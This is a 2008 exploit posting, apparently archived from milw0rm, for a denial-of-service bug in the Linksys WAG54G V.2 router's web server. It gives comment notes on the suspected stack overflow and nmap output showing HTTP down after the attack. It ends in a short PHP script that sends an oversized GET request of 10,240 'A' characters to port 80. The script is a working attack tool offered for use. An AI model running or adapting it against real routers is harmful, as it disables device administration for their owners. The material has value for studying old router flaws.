* LinkSys Wireless ADSL Router httpd DoS Vulnerability
* Product : Linksys (Division of Cisco Systems)
* Device : WAG54G V.2
* Firmware: 1.02.20
* Notes : Other devices and firmware versions are no doubt vulnerable.
* Written by: r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
* Sending a large HTTP GET/POST request (10240) to the router results in DoS
* of the httpd service.
* After discovering this vulnerability I read about similar vulnerabilities
* in different devices. It would seem this device is vulnerable to more
* previously disclosed vulnerabilities also, just this device was not tested.
* It has been suggested that this is a stack overflow vulnerability.
* unable to connect to 192.168.1.1:80 (Connection refused)
* r0ut3r@kit:~> nmap 192.168.1.1
* Starting Nmap 4.20 ( http://insecure.org ) at 2008-12-12 12:17 EST
* Interesting ports on 192.168.1.1:
* Not shown: 1695 closed ports
* PORT STATE SERVICE
* 23/tcp open telnet
* 443/tcp open https
* Nmap finished: 1 IP address (1 host up) scanned in 7.403 seconds
* Looks like HTTP died...
* HTTPS is running however you cannot login. The service is basically useless.
* Telnet is also open for administration (if configured to be).
* Apart from not being able to use the Web Administration Interface the device
* seems to function fine.
$host = "192.168.1.1"; //Default IP is 192.168.1.1
$host = $argv;
$port = 80;
$conn = fsockopen($host, $port, $errno, $errstr);
$payload = "GET /".str_repeat('A', 10240)." HTTP/1.1";
if (fwrite($conn, $payload))
echo "Payload sent!\n";
# milw0rm.com [2008-12-21]